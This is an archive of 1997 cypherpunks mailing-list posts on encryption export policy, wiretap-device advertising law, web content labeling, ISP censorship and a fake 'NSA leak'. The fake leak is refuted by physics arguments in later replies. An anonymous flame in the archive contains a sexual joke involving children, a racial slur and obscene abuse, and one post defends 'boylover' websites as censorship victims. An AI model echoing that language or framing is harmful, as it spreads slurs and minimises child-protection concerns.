   But Judge Gibson's judgment ignores the theft-of-signal intent of the
   legislation. Instead, he interprets the act, in conjunction with other
   laws, and concludes that the clause on encryption makes it illegal for
   anyone to subscribe to a U.S. satellite service. Norsat has filed an
   appeal.
   
   What makes this judgment even more unusual is that it effectively
   attempts to make it illegal for a Canadian to pay for a U.S. channel
   on a U.S. satellite, when the identical U.S. channel is available on
   Canadian cable or satellite. For example, WGN-TV in Chicago can be
   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
   In each case, the subscriber pays for the service. But under this
   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
   Who does this serve -- other than giving Bell and the cable companies
   more revenue.
   
   Even stranger is that many of the networks carried by U.S. satellites
   are already available in Canada over the air waves free, or on cable,
   or on C-band, an alternative satellite service that has been available
   in Canada for years. A Seinfeld episode can be picked up free over the
   air from a U.S. television station, or on a U.S. station via cable, or
   on a Canadian station on cable. But if the same Seinfeld episode were
   bought by a Canadian from a U.S. satellite service, it's illegal.
   
   Filling the troughs of the Canadian broadcasting industry and
   transmission systems may be the purpose of broadcasting policy, but it
   is certainly not the objective of this section of the
   Radiocommunication Act.
   
   Canada's specialty networks, meanwhile, are gearing up to flood the
   country with copy-cat versions of the networks banned by the CRTC --
   including The Globe and Mail, which is a partner in ROBTv, a business
   channel that hopes to benefit from the fact that Bloomberg will be
   banned in Canada. Other brilliantly innovative duplications of U.S.
   networks are The Home and Garden Channel, History Television, The
   Comedy Network, Discovery and Country. Is this unique Canadian
   culture? One such Canadian offering, The Family Channel, has even
   abandoned all pretext to being a Canadian original: it's changing its
   name to recognize the source of most of its content: The Disney
   Channel.
   
http://www.globeandmail.ca/docs/news/19970726/ROBColumn/RCORC.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 28 Jul 1997 01:30:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: LEO Sly Bug Buy, Bye Spy Shop
In-Reply-To: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>
Message-ID: <v03102800b00134a72286@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:33 AM -0700 7/27/97, John Young wrote:
>As follow-up to an earlier thread, and Tim's post on LEOs, them
>and us, this excerpt from House Report 105-162:

Thanks, John. This does indeed confirm what I was talking about. I hadn't
realized they had gotten bans on microphones that are politically
incorrect, except, of course, for themselves.

Why not just go all the way and ban typewriters and photocopiers,  except
for themselves, as other repressive regimes have done?

And who can say with a straight face they haven't earned sanctioning?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 23:20:05 +0800
To: cypherpunks@toad.com
Subject: Cerf: Building a Barrier-Free Net
Message-ID: <1.5.4.32.19970727150210.00731858@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



   The New York Times, July 27, 1997, Money & Business, p. 12.

   Viewpoint

   Building an Internet Free of Barriers

   Vinton G. Cerf

      Vinton G. Cerf is senior vice president for Internet
      architecture and engineering at MCI Communications. He
      is a co-inventor of the computer networking protocol
      TCP/IP, which has become the language for Internet
      communications.

   When the subject is global networks like the Internet, the
   magic word is "seamlessness." Seamless global
   communications represents the technological promised land
   of major network providers like mine. For the consumer,
   seamlessness means unimpeded, smooth, clear communications
   among all points within a network and among all networks.

   To the extent that it has developed, seamlessness has been
   the sine qua non, the essential element, behind the
   fast-growing Internet. It is the essence of the links of
   the World Wide Web. The Internet, after all, is not a
   network, or even a medium, in the traditional sense, but a
   network of nearly 200,000 networks and a medium of media,
   encompassing all the long-established ones while creating
   entirely new types. The more seamless we make the Internet
   and, for that matter, the global information
   infrastructure, the quicker we will harness the immense
   potential.

   Although high hurdles of technology and infrastructure
   stare us in the face, obstacles of the political and public
   policy variety are equally daunting. Many policy makers
   fail to grasp that the very seamlessness already found on
   the Internet, coupled with its basic digital nature, makes
   it almost impossible to monitor or regulate its flow of
   information in a hierarchical way. Notwithstanding the
   efforts of certain countries, Big Brother would have real
   problems doing his dirty work on the Internet. Still,
   well-meaning policy makers try to extend longstanding
   social goals to the Internet through heavy-handed,
   market-distorting mandates when industry-led strategies
   could be more effective.

   Of greatest concern to the Internet industry today are the
   many legal quagmires and incoherent policy patchworks that
   hinder Internet commerce. Achieving full seamlessness of
   Internet networks will be impossible if the networks'
   builders must maneuver through inconsistent laws and
   policies. Not only are the policies of many nations in
   conflict, but so are policies within nations -- and to such
   an extreme that some seem mutually exclusive.

   A good example is encryption policy. Encryption technology
   scrambles digital communications to make them
   indecipherable to anyone except the intended receiver. The
   users range from businesses that transmit confidential data
   to individuals who send personal E-mail messages.
   Widespread availability of encryption is a prerequisite for
   enhancing security and privacy on the Internet, for
   engendering a mature electronic marketplace and even for
   helping the work of law enforcement.

   Yet governments resist removing old restrictions on the
   export and use of encryption technology -- rules that date
   from the cold war -- even as they proclaim pro-market
   intentions and stress greater Internet privacy and security
   as priorities.

   Fortunately, growing numbers of key policy makers in the
   advanced democracies are showing a clearer, more
   technologically sophisticated understanding of the
   Internet. They grasp that while government financed the
   start of the Internet, the absence of government has
   largely allowed it to take off like a rocket.

   Within this group are members of Congress like Senators
   Conrad Burns, Republican of Montana, and Patrick Leahy,
   Democrat of Vermont, and Representative Bob Goodlatte,
   Republican of Virginia, who are pushing to liberalize
   encryption export controls.

   Another is Ira C. Magaziner, the White House adviser who
   oversaw the development of a major Administration policy
   paper, released earlier this month, on electronic commerce.
   The paper, which advocated a largely hands-off approach by
   Government to Internet regulation, is a breakthrough in
   electronic commerce policy. Its perspective is properly
   global; its delineated goals, highly commendable.
   Particularly laudable is its proposal to designate the
   Internet as a tariff-free zone.

   The Internet is now perhaps the most global and democratic
   form of communications. No other medium can so easily
   render outdated our traditional distinctions among
   localities, regions and nations. While the Internet
   increasingly knows no boundaries, it still knows barriers
   all too well -- obstacles that are too often born of
   technological ignorance leading to incoherent public
   policy.

   The world cannot afford policies that impede the
   development of the Internet, diminish its utility and limit
   its social reach. And much more could be at stake than
   seamless digital networks. We may find that the more we
   succeed in removing barriers to Internet communications,
   the more we may help reduce those other, far more important
   obstructions to human communications -- the ones that
   divide nations and estrange demographic groups.

   That, ultimately, could be the most far-reaching, enduring
   benefit of an unfettered global Internet.

   -----

   Readers may submit opinion articles to Viewpoint and
   articles on personal experiences to From the Desk Of, Money
   and Business, The New York Times, 229 West 43d Street, New
   York 10036, or send E-mail in care of viewpts@nytimes.com
   or fromdesk@nytimes.com. All submissions become the
   property of The Times. They may be edited and may be
   republished in any medium. If manuscripts are accepted for
   publication, authors will be notified within too weeks.

   [End]












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Jul 1997 00:52:27 +0800
To: cypherpunks@toad.com
Subject: LEO Sly Bug Buy, Bye Spy Shop
Message-ID: <1.5.4.32.19970727163329.008845bc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



As follow-up to an earlier thread, and Tim's post on LEOs, them
and us, this excerpt from House Report 105-162:

                Background and Need for the Legislation

    Section 2512 of title 18, United States Code, prohibits the
advertisement of any electronic, mechanical or other device,
``primarily useful for the purpose of surreptitious
interception of wire, oral or electronic communications.'' This
section was drafted with the intention of ``significantly
curtailing the supply of devices * * * whose principal use is
likely to be for wiretapping or eavesdropping.'' \1\ The
Committee report listed several examples of devices which would
fall under this prohibition, including microphones designed as
wristwatches, cuff links, tie clips, fountain pens or cigarette
packs.\2\
---------------------------------------------------------------------------
    \1\ S. Rep. No. 1097, 90th Cong., 2d Sess. 94-95 (1968).
    \2\ Id.
---------------------------------------------------------------------------
    Unfortunately, legitimate law enforcement users were swept
along with this prohibition on advertisements. Because of the
restriction under Sec. 2512, companies which manufacture
devices designed for wiretapping are not permitted to advertise
the sale of their products to police departments. These
companies are aware of cases in which a defendant was charged
and convicted for violation of Sec. 2512, and although they
would like to make the law enforcement community aware of their
products, they do not wish to risk criminal sanctions.\3\
---------------------------------------------------------------------------
    \3\ See, e.g., United States v. Ron Wynn, 633 F. Supp. 595 (1986).
---------------------------------------------------------------------------
    Law enforcement officers, particularly undercover officers,
often use devices which would fall under the definition of a
device ``primarily designed for surreptitious interception.''
It is a strange anomaly in the law that police departments have
the authority to use electronic intercepts, but they may not
receive mailings about improvements to such equipment. This
exception is particularly significant since electronic
interception equipment is frequently updated and improved.
    As an example, police officers and informants often use
body microphones to record criminal activity. Covert devices
are critical for the collection of evidence, yet many
experienced criminals are aware of traditional attempts to
disguise body transmitters. These transmitters have been
miniaturized, and can now be disguised in some common facade
unfamiliar to criminals. By not allowing companies which
manufacture intercept equipment to advertise to police
departments, police officers' lives are unnecessarily put at
risk.
    H.R. 1840 will provide relief to companies which
manufacture electronic interception equipment, by allowing them
to advertise the availability of their products to agencies of
the United States, States, or political subdivisions, so long
as the recipient of the mailing is duly authorized to use such
devices. The Committee appreciates the extensive input of the
Federal Bureau of Investigation in drafting this legislation,
to ensure that the bill was crafted as narrowly as possible
while still achieving the intended effect.

[End report excerpt]

-----

For full report and bill:

   http://site108240.primehost.com/hr1840.txt  (14K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 28 Jul 1997 06:20:21 +0800
To: cypherpunks@cyberpass.net
Subject: "the sovereign individual" by davidson/rees mogg
Message-ID: <199707272214.PAA26120@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



interesting new book out on the shelves, (c) 1997, by
James Dale Davidson and Lord William Rees-Mogg called
"the sovereign individual". many cpunk themes in this
book and I highly recommend it to people on the list.
from the back cover:

they predict:

- collapse of the welfare state and the death of nations worldwide
- overhaul of the US Tax system, based on consumption instead
of earnings
- governments will lose power to arbitrarily regulate
economies
- banks will go through larger crisis than the 1980s
- US government will diminish to the size it was in
the 19th century
- US government- IRS, CIA, NSA will declare war on
groups that try to circumvent the income tax through cyberspace
- organized crim ewill grow as central economies break down
- central banks will lose power to inflate and control
the money supply as paper money is supplanted by cybercash
- individuals will gain more autonomy and financial capability 
- morality will make a comeback.

interesting ideas on the role of violence in what makes
different government and social systems "viable" and the
idea as the government as being in the "protection" business
with a monopoly on the use of violence. ideas about digital
currencies that compete with each other on the free-market
bases. inviability of the "new world order" of worldwide
government.  lots of neat ideas on cyberspace. role of
cryptography in securing private transactions.

from p. 324, on cyberspace:

"massed armies will mean little in such a world. efficiency will
mean more than ever before. because microtechnology creates
a new dimension in protection, individuals for the first time in
human existence will be able to create and protect
assets that lie entirely outside the realm of any individual 
government's territorial monopoly on violence. these assets, therefore,
will be highly susceptible to individual control. it will be perfectly 
reasonable for you and significant numbers of future Sovereign Individuals
to "vote with your feet" in opting out of leading nation-states
to contract for personal protection with an outlying nation-state or
a new minisovereignty that will only charge a commercially
tolerable amount, rather than the greater part of your net worth."

an interesting theme near the end of the book is the idea that
morality/trust will play a more important role in cyberspace because
people will be depending on each other's reputations to conduct
business transactions in cyberspace.

some of these ideas I've written on here before, and seen much dialogue
here. think this will be an influential book that will frame future
debate for a long time.

the authors verge on what consider "conspiracy theory" at times when
they even get into Clinton's drug connections in mena, arkansas.

they advocate going to alternative sources of news other than the
mass media which will be unable to recognize or report on the
reality of the changing world because they are caught up in
their own reality distortion fields, very much like those who,
at the fall of the roman empire, still believed it existed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Guillotine <guill@xmission.com>
Date: Mon, 28 Jul 1997 05:39:47 +0800
To: cypherpunks@toad.com
Subject: New Crypto Application
Message-ID: <199707272124.PAA12529@xmission.xmission.com>
MIME-Version: 1.0
Content-Type: text/plain



Greetings fellow Cyphers...

I'm creating a new _text_ cryptography program.  The encryption algorithm,
using a symmetrical is going to be as strong as legally allowed, and after
copyrighting the program, I'm going to release the source code and explain
everything about it (since it can be reverse engineered anyways).  The
reason I'm sending this e-mail to you is my request for more knowledge, and
if you're like me, then you have an extreme thirst for knowledge!  Any
algorithm, key hashing, user interface, or other important suggestions you
might have will help me immensely, and hey, maybe you'll get a free copy of
this program when it comes out, but otherwise you will just have to wait
until someone cracks the copyprotection because I'm going to make that
extremely hard to do.  I was going to call the program AlphaNumeric
Encryption, but that says pretty much nothing...  I might just call it
something like Cipher Pad (or Cypher Pad if nobody cares that I use
"cypher") , since it's only for text encryption.  If you have a better idea
for a name for this program, then please suggest it to me.

Thanks,

Guillotine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 27 Jul 1997 21:45:38 +0800
To: cypherpunks@toad.com
Subject: Can you spell 'Stoopid'? Sure you can... / Re: thought for the day, and my IRS Investigations report
Message-ID: <199707271334.PAA23880@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"David D.W. Downey" <Webmaster@CyberSpaceTechnologies.com> wrote: 
> Zooko Journeyman wrote:
> > My interaction with Jim Bell pretty much amounted to condemning
> > him and telling him to go to hell, CC'ed to cypherpunks.  And
> > I haven't received any IRS Investigations notes, so perhaps my
> > e-mail address wasn't included in Jim's little black book.

> Why does it always seem like there has to be someone out there that just
> HAS to be an idiot.

Dear Dave,
  Why does it always seem that it is the idiots who ask this question?

  Are you by any chance of fate related to the David Downey who spammed
the cypherpunks list with an announcement of his attempt to "get a
number
of the other cypherpunk lists together under one umbrella," then sent
several copies of his "Welcome to my fascist, censorous,
pseudo-cypherpunk
mailing list." message to the cypherpunks list (and subsequently
displayed
his lack of knowledge as to how to unsubscribe to a mailing list, let 
alone try to run one)?

> From: "David Downey" <digital_matrix@hotmail.com>
>  To: cypherpunks-unedited-outgoing@toad.com
>
> unsubscribe cryptography-politics-pgp-l

Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe.

  "Open, friendly, and intellegent discussion." ???!!!???
  Sounds like my "CypherPissing" mail folder would starve to death
if it counted on your list for its sustenance.

All are welcome here

  Thank God! I was afraid I wouldn't be able to discuss my pictures
of the Pope with his dick in the mouth of children being held down
by Mother Teresa.

Now, let's get a few things out of the way. The Rules!

  I'm starting to smell leather. Is it 'Jackboot' leather?

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

  Are the capital letters meant to indicate shouting, a thick Nazi 
German accent, or both? And are you intending only to 'inform' on
and 'cause trouble for' *bad* people? Will there be 'spankings' 
involved (or does this cost extra)?

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. 

  Ex-fucking-cuse me?
  Is there a swearing 'minimum' which is *required*, or only a 'maximum'
which is *allowed*? Do Tourettics require a note from their doctor to
call someone who sucks dick a cocksucker?

You can get your point across just as well without cussing.

  Right. Like there is a phrase other than "lying, fucking criminal,
god damn, rat-bastard Nazi motherfuckers" that could possibly come
close to describing our beloved legislators.
 
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. 

  "Why can't we all just get..."
  "... along."
        - Rodney King
  "...a long nightstick and just beat the fuck out of a nigger."
        - L.A. Chief of Police

After all, we are all we got!

  And "Wherever you go, there you are."
  And "Patience comes to those who wait."
  And "If God is Love and Love is Blind, then Ray Charles must be God."
  Will we be singing "Michael row the boat ashore." a lot on your list?

3) You try to keep as much as possible to the point, and to the content
of this list.

  OK, but it's going to make it a lot harder to sell my '67 Chevy
station
wagon. (It's an "anonymous" automobile with stolen plates. Perfect for
a cypherpunk.)

If you really want to talk about something else, let me
know. I'll get another list going.

  Great! Now I know who is in charge of giving me permission to talk and
is willing to control the forum in which I do it. Up until now I have
had to bear this terrible burden myself.

4) Respect others!!!

  Does the "!!!" imply "or else..."?

5) Finally, HAVE FUN!!!!!

  How? By telling you to stick your "rules" up your ass?
  "FUN" in a manner that meets your approval?
  Does your shouting "HAVE FUN" and the multiple exclamation marks
mean that having fun is 'required'?
  If so, will Jim Bell be allowed an exception to this rule, or will
he have to learn to enjoy being buggered by Prisoner #32289723?

I'm done. Talk to you on the List.

  You were done before you even got started. And shouldn't you have
said, "SHOUT AT YOU ON THE LIST!!!!!!!!!!!!!!!!!!!!!!!!!!!"?

  I think I'll join the "Miss Manners Cryptography List," instead.
It teaches proper oppression etiquitte, such as which fork to stick
in the eye of the Jackboots who kick in your door to demand your
secret key, and how to choose the proper wine to go with the shit 
that the government dishes out.

!have !fun,
  TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frederick G.M. Roeber" <roeber@netscape.com>
Date: Mon, 28 Jul 1997 07:40:26 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <33DBD82F.392EBAC0@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



> (Actually, for all I know, terawatt power sources may exist; that's 
> out of my field.  Please let me know if this is the case.[)]

I don't know about continuous sources, but the "Star Wars" SDI research
came up with a storage system that could discharge terawatts for
something in the seconds/minutes(/hours?) range.  Basically a large
superconducting coil buried in the ground, it would feed the
ground-based lasers.  Not that this really impacts your analysis..

I suspect the 33 minutes is probably in reference to a dictionary attack
of some sort, rather than an exhaustive keysearch.

However, don't rule out quantum computers.  I think they're doable.. a
few months in an optics lab, maybe I can come up with a cell.

> Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA,

I was at CERN when Clinton was elected and brought in his new
administration.  His DOE head (Hazel O'Leary?) made a speech to a group
of physicists in which she indicated her belief that physical laws
weren't much different than "real" laws.. and that if we found them
troublesome, well, she had access to the folks in DC who could get an
amendment passed.  Stunned silence.

-- 
Frederick G.M. Roeber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 28 Jul 1997 05:57:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <5rgfra$ro@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



[To cypherpunks, copied to fight-censorship (which I'm not on).]

In article <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>,
Robert Hayden-0797-EMP-HSE  <rhayden@orion.means.net> wrote:
>Say this on the Fight Censorship list.  Just FYI.
>
>---------- Forwarded message ----------
>Date: 19 Jul 1997 17:56:51 -0000
>From: Secret Squirrel <nobody@secret.squirrel.owl.de>
>To: fight-censorship@vorlon.mit.edu
>Subject: NSA leak
>
>WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
>senior official at the super-secret National Security Agency was overheard
>at a White House press conference concerning current bans on the export of
>encryption technology saying, "It would not take any twelve times the age of
>the universe to decrypt a 128-bit message.  Thirty-three minutes is more
>like it."
>
>Observers at the press conference indicated that the senior official's
>remarks were intended to be overheard by those standing nearby, who included
>White House officials, reporters, and a troupe of girl scouts from Lundane,
>Illinois.

Uh-huh.  Unless the Administration has granted a secret Executive Order
repealing the Laws of Physics for the NSA, the above statement, if true,
would imply one of the following things:

1. The NSA has a reversible computing machine with at least 2^128*128 bits
   = 5.44*10^39 bytes = 4.95*10^27 TB of memory.  Hardly.

2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
   being extremely generous; it assumes (in the style of Schneier) that
   they only have to increment a counter through each possible key, and
   that _checking_ the key is free.  Let T be the temperature at which
   they run their computer.  Again, be very generous, and assume that
   their computer is in deep space, with an ambient temperature of 
   about 3 Kelvins, and that their super-fast processor does not heat
   up the system, so T = 3K.

   Then their cracker would require 2^128 * k * T of energy in 33 minutes
   (k is Boltmann's constant, 1.38*10^-23 J/K).  This works out to a power
   requirement of 2^128*k*(3K)/(33*60s) = 7.12 TW (terawatts).  This
   seems also unlikely.  (Actually, for all I know, terawatt power sources
   may exist; that's out of my field.  Please let me know if this is the case.
   I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)
   would cost $392 million each time they wanted to crack a key (half that
   in the average case; and of course, their electrical rates are probably
   lower than mine...).  Again, this is being _extremely_ generous in
   the energy consumption calculations.  Note also that this dollar figure
   depends only on the size of the key and your power rate; the 33 minute
   figure cancels out.)

   There could be some tradeoff in the above two cases.

3. They have a quantum computer, or some alien technology, or something
   else we know pretty much nothing about.

Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
and say that the NSA guy was simply lying (or that the anecdote itself is
mistaken).

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 28 Jul 1997 05:11:58 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707272057.WAA03141@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:05 PM 7/26/97 -0400,James Love wrote:
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
>labeling.                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 ^^^^^^^^^

That's not voulntary, as Tim stated.

>If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue,

Unless you believe that voluntary ratings in order to get listed in a search engine are wrong.

>but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

Some pre-teens are smarter than that, and may thwart the system.  Whose fault it it then if they see a page with porn on it?

>    Well, I for one don't like a Y=7 type system.  It involves too much
>information from the person rating the wage page.  The more precision
>you put in a rating system, the more trouble you get in.  Keep it
>simple, very simple.  What if someone was a sex with sheep web site,
>unlabeled?  I don't care much.  I wouldn't be surprised, however, if
>Yahoo didn't give them the prominent listing they wanted, in the absence
>of the rating=adult label.  

Therefore, don't use yahoo.  Use one that doesn't promote censorship.

>    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
>legislation.   I think it would be nice if the problem was solved
>without legislation. But if the problem (and I think there is a problem)
>isn't solved voluntarily, don't be shocked when Congress acts.  

And I won't be shocked when the Supreme court strikes that down.  The problem can be solved, just let parents monitor their kids access.  If that happened, there would be no need for this censorware and rating crap.

>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.  

Well, if they have that privacy, they often go to a site with images that some people consider obscene.  That's when the parents, unable to accept their mistake for not being responsible, blame the webpage's author.

>     This simply isn't true.  A lot of support for content labeling,
>including systems which I find appalling, is from fairly typical
>parents.  This isn't a right wing or born again issue.  

Those parents probably are lazy in the first place.

>    Nothing will satisfy everyone.  But reasonable people will support
>reasonable solutions, and it might be the case that there are enough
>reasonble people around to come up with a resonable system.

You seem to favor the "Let's just do this to avoid hassle" thing that law enforcement and government types try to promote.  If we were to, "avoid the hassle" with webpage ratings, we might as well "avoid the hassle" of using PGP and such so that we don't anger the government anymore.

I'm not labeling my webpage, and no dickhead is going to tell me to.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Mon, 28 Jul 1997 14:33:02 +0800
To: cypherpunks@cyberpass.net
Subject: CPAC, XtatiX, and the Censor-State
Message-ID: <19970728062731.13289.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



The self-proclaimed "child protectors" are at it again.  This
time, an ex-police officer with far too much time on his hands
has declared war on all so-called "boylover" web sites on the
Internet.

This includes not only sites where legal issues surrounding
youthful sexuality are discussed, but virtually every site in
which the word "boy" appears, including photography web sites,
young celebrity sites, and any sites such sites link to.

We're not talking about porn here, but material which is
perfectly legal, the vast majority of which would attract little
attention aside from the fact that a bunch of Christian wankers
have unilaterally decided for all of us that they do not want it
on the Net.

They have sworn to harrass each and every ISP carrying material
on their "hit list," until the material is removed.  Tactics
include intimidating snail mail spams and phone calls by people
claiming to be associated with law enforcement, as well as late
night phone calls threatening bodily harm to ISP management and
their families.

The rantings of this individual and his similarly minded friends
can be found at...

         http://mavrick-bbs.com/cyranch/sewer2.htm
and      http://www.thecpac.com/net-safety.html

The latest organization to be attacked by Officer Friendly and
his contingent of jackbooted thugs is XtatiX.com, a small
provider which until recently had hosted a number of web
resources which CPAC didn't like.  The nature and content of
these web sites were clearly discussed with XtatiX before they
were chosen to host them, and assurances were given that no 
problem existed. 

XtatiX.com states explicitly on their home page, and I quote...

   "XtatiX supports the concept of an open Internet. Xtatix
    does not censor accounts or content in any form. We
    encourage our users to exercise sound and responsible
    judgement when creating their web pages."

   "We also understand that some internet sites may have
    content that some find objectionable. Software products
    exist which give the individual the ability to limit
    unwanted material. This software does not interfere with the
    rights of others to surf as they wish."

So one might think that anything legal and resonably tasteful
goes at XtatiX, right?  Well, that's the way it was until the
CPAC contingent hurled a few threats in their direction.

In response to the harrassment, XtatiX is now sending a letter to
web customers whose pages are, according to XtatiX, "too
controversial."

XtatiX says in part...

   "We regret to inform you that we can no longer host your
    website, due to many local and national pressures on us, to
    get rid" of sites of the nature of yours, and also a few
    more sites with other natures that could be considered
    controversial."

   "We sincerely apologize, because we _DO NOT_ like
    censorship, nor do we endorse its use. We have had to
    practice it of late, though, because of many law
    enforcement and other officials emailing us, and or calling
    us in regards to some of the sites we are now hosting."

   "Again, if it were based soley upon our choice, then we
    would not change our censorship policies, and would not have
    to do things such as these, which pain us very much. We
    would appreciate it very much if you would please copy the
    files you need to host your site off the server within 48
    hours, and delete the copies on the server."

   "This does not mean that we do not still want you on as an
    XtatiX customer, but we can no longer deal with as many
    hate mails, phone calls, and emails from law enforcement
    officials and users on other systems. Please bear with us."

Now XtatiX is certainly welcome to accept or turn away business
as they see fit, although it seems somewhat disingenuous of them
to loudly advertise their service as one that "does not censor
accounts or content in any form," while at the same time,
crawling all over themselves to get rid of customers they
consider "too controversial," based on harrassment orchestrated
by a single pressure group.

Now to some Cypherpunk issues this case illustrates...

"Information Wants To Be Free"

Our working model of information services has always been
comprised of three things.

First, a dynamic collection of information service providers with
complete discretion as to whom they choose to do business with.
Second, a Net which regards censorship as damage and routes
around it.  And third, market forces that ensure that any legal
information has a home where others may access it.  Providers
that censor lose customers, who give their money to providers who
don't.

The CPAC/XtatiX case study demonstrates another reality.

First, a dynamic collection of information service providers in a
mad race to see who can come in second to last when the awards
for "Enemy of the State" are handed out.  Second, a Net in which
almost nothing is multi-homed which cannot even regard damage as
damage and route around it.  And third, market forces which
ensure that censorship is frequent, silent, and never publicly
spoken of in policy statements.

Whether it's CPAC wanting to nuke all web sites containing the
word "boy," Sen. Swinestein wanting to nuke all web sites
containing the word "bomb," or Sen. Hatch wanting to nuke all web
sites containing the word "sex," the optimal strategy for service
providers has turned out to be to quietly remove any material
some squeeky wheel is uncomfortable with, keep proclaiming
themselves to be the strongest supporters of free speech in the
entire Net community, and stonewall when asked questions which
might suggest anything to the contrary.

This behavior of the Net mirrors the behavior of the other
so-called "free" market-driven media.  There are issues and
points of view you will never see discussed on the evening news,
or in Time and Newsweek.  There are books that disappear from
your local library and bookstores and are not replaced.

The Net is starting to look a lot more like just another
"self-regulated" media outlet, where the individual citizen has
access only through a company whose principals are well versed in
whose feathers must not be ruffled.

The CPAC/XtatiX dance is being repeated each and every day, with
providers like Tripod and Geocities, and with search engines
quietly removing Horsemen-related articles from their databases,
all while proudly displaying their Blue Ribbon Campaign icons for
Free Speech on the Net.

What's happening now is that a lot of sites are moving offshore,
but it probably won't be long before "The Attorney General's List
of Horseman-Related Offshore IPs" is dutifully prepared for
Congress each year, and Router-Blocked at our borders under
threat of criminal penalties.  "Information Laundering" will
undoubtedly become the Fifth Horseman shortly thereafter.

All of this represents a big shoe in the clockwork of
Crypto-Anarchy, and a problem needing a technological solution
post haste.  Suggestions and discussion are welcome.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 28 Jul 1997 11:51:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA leak (fwd)
In-Reply-To: <5rgfra$ro@abraham.cs.berkeley.edu>
Message-ID: <Pine.GSO.3.95.970727234050.19053B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Don't believe everything you see that comes through an anonymous remailer!

-Declan

> >---------- Forwarded message ----------
> >Date: 19 Jul 1997 17:56:51 -0000
> >From: Secret Squirrel <nobody@secret.squirrel.owl.de>
> >To: fight-censorship@vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
> >senior official at the super-secret National Security Agency was overheard
> >at a White House press conference concerning current bans on the export of
> >encryption technology saying, "It would not take any twelve times the age of
